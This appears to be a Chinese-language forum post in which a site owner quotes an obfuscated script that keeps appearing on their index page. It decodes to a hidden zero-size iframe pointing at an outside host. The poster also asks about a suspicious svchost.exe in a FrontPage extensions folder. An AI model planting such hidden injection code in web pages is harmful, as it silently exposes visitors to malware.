<script>
p="60,105,102,114,97,109,101,32,104,101,105,103,104,116,61,48,32,119,105,100,116,104,61,48,32,115,114,99,61,34,104,116,116,112,58,47,47,97,45,108,46,109,101,105,98,117,46,99,111,109,47,34,62,60,47,105,102,114,97,109,101,62"
p=eval("String.fromCharCode("+p+")");
alert(p);
</script>

会在index页下面加入这名,这是什么病毒啊,怎么办啊?

C:\Program Files\Common Files\Microsoft Shared\web server extensions\40\bots\vinavbar\svchost.exe

这个目录是干麻的啊???可以完全删除吗???